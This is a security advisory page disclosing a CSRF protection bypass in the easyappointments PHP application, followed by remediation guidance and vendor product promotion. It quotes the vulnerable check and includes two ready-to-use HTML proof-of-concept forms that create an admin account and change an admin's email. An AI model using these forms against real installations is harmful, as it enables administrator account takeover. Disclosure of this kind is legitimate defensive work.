GHSA-54v4-4685-vwrj
alextselegidis/easyappointments is Vulnerable to CSRF Protection Bypass
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
alextselegidis/easyappointmentsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover
Details
- Repository / tested commit:
alextselegidis/easyappointments— commit41c9b93a5a2c185a914f204412324d8980943fd5. - Vulnerable file & function:
application/core/EA_Security.php::csrf_verify()— around line 52. Link:.../application/core/EA_Security.php#L52. - Root cause: The function early-returns when the request is not
POST:
// vulnerable snippet
if (strtoupper($_SERVER['REQUEST_METHOD']) !== 'POST') {
return $this->csrf_set_cookie();
}
Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $_REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.
-
Examples of vulnerable endpoints (observed during testing):
index.php/admins/store— create admin (accepts fields via GET)index.php/admins/update— modify admin (accepts fields via GET)index.php/account/save— modify account/password (accepts fields via GET)
-
Why this is critical: An attacker can host a simple page that issues requests (e.g.,
<form method="GET" action="...">or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.
PoC
I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally
https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1
Browser PoC (HTML)
Save one of the HTML files (example csrf_add_admin_account.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store">
<input type="hidden" name="admin[first_name]" value="admin_add_by_csrf">
<input type="hidden" name="admin[last_name]" value="poc">
<input type="hidden" name="admin[email]" value="[email protected]">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0923092">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="admincsrf1">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="table">
<input type="hidden" name="admin[settings][password]" value="changeme">
<input type="submit" value="Submit request">
</form>
</body>
</html>
another example for another endpoint
csrf_change_admin_email.html
<html>
<body>
<form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update">
<input type="hidden" name="admin[first_name]" value="test">
<input type="hidden" name="admin[last_name]" value="cve">
<input type="hidden" name="admin[email]" value="[email protected]">
<input type="hidden" name="admin[mobile_number]" value="">
<input type="hidden" name="admin[phone_number]" value="0101900">
<input type="hidden" name="admin[address]" value="">
<input type="hidden" name="admin[city]" value="">
<input type="hidden" name="admin[state]" value="">
<input type="hidden" name="admin[zip_code]" value="">
<input type="hidden" name="admin[notes]" value="">
<input type="hidden" name="admin[language]" value="english">
<input type="hidden" name="admin[timezone]" value="UTC">
<input type="hidden" name="admin[settings][username]" value="testn">
<input type="hidden" name="admin[settings][notifications]" value="1">
<input type="hidden" name="admin[settings][calendar_view]" value="default">
<input type="hidden" name="admin[id]" value="1">
<input type="submit" value="Submit request">
</form>
</body>
</html>
Suggested remediation (recommended)
Provide two practical remediation paths mmediate and long-term:
Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:
This closes the common bypass route while keeping read-only GET behavior intact.
Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrf_exclude_uris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.
Long-term (recommended, correct fix):
- Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) .
- Require re-authentication or confirmation for critical operations (email/password changes).
- Set cookie flags:
SameSite,Secure, andHttpOnlyas appropriate.
Impact
- Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation.
- Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use
$_REQUEST(what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk. - Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | alextselegidis/easyappointments | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for alextselegidis/easyappointments. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of alextselegidis/easyappointments has shipped for GHSA-54v4-4685-vwrj yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-54v4-4685-vwrj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-54v4-4685-vwrj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-54v4-4685-vwrj in your dependencies?
O3 detects GHSA-54v4-4685-vwrj across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.